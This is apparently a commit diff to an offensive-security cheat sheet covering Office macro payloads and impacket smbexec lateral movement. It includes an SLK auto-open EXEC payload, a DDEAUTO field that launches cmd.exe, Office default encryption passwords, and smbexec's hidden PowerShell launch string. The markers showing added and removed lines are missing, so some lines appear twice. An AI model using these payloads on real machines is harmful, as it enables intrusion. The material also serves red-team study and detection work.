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Office Default Passwords + SMBExec
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Swissky
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2 changed files with 94 additions and 39 deletions
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@ -2,34 +2,56 @@
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## Summary
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* [XLSM - Hot Manchego](#xlsm---hot-manchego)
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* [XLS - Macrome](#xls---macrome)
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* [XLM Excel 4.0 - SharpShooter](#xlm-excel-40---sharpshooter)
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* [XLM Excel 4.0 - EXCELntDonut](#xlm-excel-40---excelntdonut)
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* [XLM Excel 4.0 - EXEC](#xlm-excel-40---exec)
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* [DOCM - Metasploit](#docm---metasploit)
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* [DOCM - Download and Execute](#docm---download-and-execute)
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* [DOCM - Macro Creator](#docm---macro-creator)
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* [DOCM - C# converted to Office VBA macro](#docm---c-converted-to-office-vba-macro)
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* [DOCM - VBA Wscript](#docm---vba-wscript)
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* [DOCM - VBA Shell Execute Comment](#docm---vba-shell-execute-comment)
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* [DOCM - VBA Spawning via svchost.exe using Scheduled Task](#docm---vba-spawning-via-svchostexe-using-scheduled-task)
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* [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions)
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* [DOCM - winmgmts](#docm---winmgmts)
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* [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde)
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* [DOCM - BadAssMacros](#docm---badassmacros)
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* [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module)
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* [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec)
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* [VBA Obfuscation](#vba-obfuscation)
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* [VBA Purging](#vba-purging)
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* [OfficePurge](#officepurge)
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* [EvilClippy](#evilclippy)
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* [VBA AMSI](#vba-amsi)
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* [VBA - Offensive Security Template](#vba---offensive-security-template)
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* [DOCX - Template Injection](#docx---template-injection)
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* [DOCX - DDE](#docx---dde)
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* [Office Products Features](#office-products-features)
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* [Office Default Passwords](#office-default-passwords)
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* [Excel](#excel)
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* [XLSM - Hot Manchego](#xlsm---hot-manchego)
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* [XLS - Macrome](#xls---macrome)
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* [XLM Excel 4.0 - SharpShooter](#xlm-excel-40---sharpshooter)
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* [XLM Excel 4.0 - EXCELntDonut](#xlm-excel-40---excelntdonut)
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* [XLM Excel 4.0 - EXEC](#xlm-excel-40---exec)
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* [SLK - EXEC](#slk---exec)
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* [Word](#word)
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* [DOCM - Metasploit](#docm---metasploit)
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* [DOCM - Download and Execute](#docm---download-and-execute)
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* [DOCM - Macro Creator](#docm---macro-creator)
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* [DOCM - C# converted to Office VBA macro](#docm---c-converted-to-office-vba-macro)
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* [DOCM - VBA Wscript](#docm---vba-wscript)
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* [DOCM - VBA Shell Execute Comment](#docm---vba-shell-execute-comment)
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* [DOCM - VBA Spawning via svchost.exe using Scheduled Task](#docm---vba-spawning-via-svchostexe-using-scheduled-task)
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* [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions)
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* [DOCM - winmgmts](#docm---winmgmts)
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* [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde)
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* [DOCM - BadAssMacros](#docm---badassmacros)
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* [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module)
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* [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec)
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* [VBA Obfuscation](#vba-obfuscation)
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* [VBA Purging](#vba-purging)
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* [OfficePurge](#officepurge)
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* [EvilClippy](#evilclippy)
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* [VBA AMSI](#vba-amsi)
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* [VBA - Offensive Security Template](#vba---offensive-security-template)
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* [DOCX - Template Injection](#docx---template-injection)
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* [DOCX - DDE](#docx---dde)
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* [References](#references)
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## Office Products Features
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## Office Default Passwords
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By default, Excel does not set a password when saving a new file. However, some older versions of Excel had a default password that was used if the user did not set a password themselves. The default password was "`VelvetSweatshop`", and it could be used to open any file that did not have a password set.
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> If the user has not supplied an encryption password and the document is encrypted, the default encryption choice using the techniques specified in section 2.3 MUST be the following password: "`\x2f\x30\x31\x48\x61\x6e\x6e\x65\x73\x20\x52\x75\x65\x73\x63\x68\x65\x72\x2f\x30\x31`". - [2.4.2.3 Binary Document Write Protection Method 3](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/57fc02f0-c1de-4fc6-908f-d146104662f5)
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| Product | Password | Supported Formats |
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|------------|------------------|-------------------|
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| Excel | VelvetSweatshop | all Excel formats |
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| PowerPoint | 01Hannes Ruescher/01 | .pps .ppt |
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## XLSM - Hot Manchego
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> When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine.
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@ -153,6 +175,18 @@ XLM: https://github.com/Synzack/synzack.github.io/blob/3dd471d4f15db9e82c20e2f13
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5. Hide your macro worksheet by a right mouse click on the sheet name **Macro1** and selecting **Hide**
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## SLK - EXEC
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```ps1
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ID;P
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O;E
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NN;NAuto_open;ER101C1;KOut Flank;F
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C;X1;Y101;K0;EEXEC("c:\shell.cmd")
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C;X1;Y102;K0;EHALT()
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E
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```
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## DOCM - Metasploit
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```ps1
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@ -633,16 +667,6 @@ $ phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
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* Right Click > Toggle Field Code
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* `{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }`
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## SLK - Excel
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```ps1
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ID;P
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O;E
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NN;NAuto_open;ER101C1;KOut Flank;F
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C;X1;Y101;K0;EEXEC("c:\shell.cmd")
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C;X1;Y102;K0;EHALT()
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E
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```
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## References
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@ -169,7 +169,13 @@ Use a custom binary and service name with : `psexec.py Administrator:Password123
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Also a custom file can be specified with the parameter : `-file /tmp/RemComSvcCustom.exe`.
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You need to update the pipe name to match "Custom_communication" in the line 163
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`fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)`. Alternatively you can use the fork [ThePorgs/impacket](https://github.com/ThePorgs/impacket/pull/3/files).
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```py
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162 tid = s.connectTree('IPC$')
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163 fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
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```
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Alternatively you can use the fork [ThePorgs/impacket](https://github.com/ThePorgs/impacket/pull/3/files).
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### WMIExec
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@ -182,9 +188,33 @@ By default this command is executed : `cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__
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It creates a service with the name `BTOBTO` ([smbexec.py#L59](https://github.com/fortra/impacket/blob/master/examples/smbexec.py#L59)) and transfers commands from the attacker in a bat file in `%TEMP/execute.bat` ([smbexec.py#L56](https://github.com/fortra/impacket/blob/master/examples/smbexec.py#L56)).
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```py
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OUTPUT_FILENAME = '__output'
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BATCH_FILENAME = 'execute.bat'
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SMBSERVER_DIR = '__tmp'
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DUMMY_SHARE = 'TMP'
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SERVICE_NAME = 'BTOBTO'
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```
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It will create a new service every time we execute a command. It will also generate an Event 7045.
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By default this command is execute: `%COMSPEC% /Q /c echo dir > \\127.0.0.1\C$\__output 2>&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat`, where `%COMSPEC%` points to `C:\WINDOWS\system32\cmd.exe`.
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By default this command is executed: `%COMSPEC% /Q /c echo dir > \\127.0.0.1\C$\__output 2>&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat`, where `%COMSPEC%` points to `C:\WINDOWS\system32\cmd.exe`.
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```py
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class RemoteShell(cmd.Cmd):
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def __init__(self, share, rpc, mode, serviceName, shell_type):
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cmd.Cmd.__init__(self)
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self.__share = share
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self.__mode = mode
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self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
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self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
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self.__outputBuffer = b''
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self.__command = ''
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self.__shell = '%COMSPEC% /Q /c '
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self.__shell_type = shell_type
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self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
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self.__serviceName = serviceName
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```
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## RDP Remote Desktop Protocol
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@ -360,4 +390,5 @@ PS C:\> runas /noprofil /netonly /user:DOMAIN\username cmd.exe
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- [Impacket Exec Commands Cheat Sheet - 13cubed](https://www.13cubed.com/downloads/impacket_exec_commands_cheat_sheet.pdf)
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- [SMB protocol cheatsheet - aas-s3curity](https://aas-s3curity.gitbook.io/cheatsheet/internalpentest/active-directory/post-exploitation/lateral-movement/smb-protocol)
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- [Windows Lateral Movement with smb, psexec and alternatives - nv2lt](https://nv2lt.github.io/windows/smb-psexec-smbexec-winexe-how-to/)
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- [PsExec.exe IOCs and Detection - Threatexpress](https://threatexpress.com/redteaming/tool_ioc/psexec/)
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- [PsExec.exe IOCs and Detection - Threatexpress](https://threatexpress.com/redteaming/tool_ioc/psexec/)
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- [A Dive on SMBEXEC - dmcxblue - 8th Feb 2021](https://0x00sec.org/t/a-dive-on-smbexec/24961)
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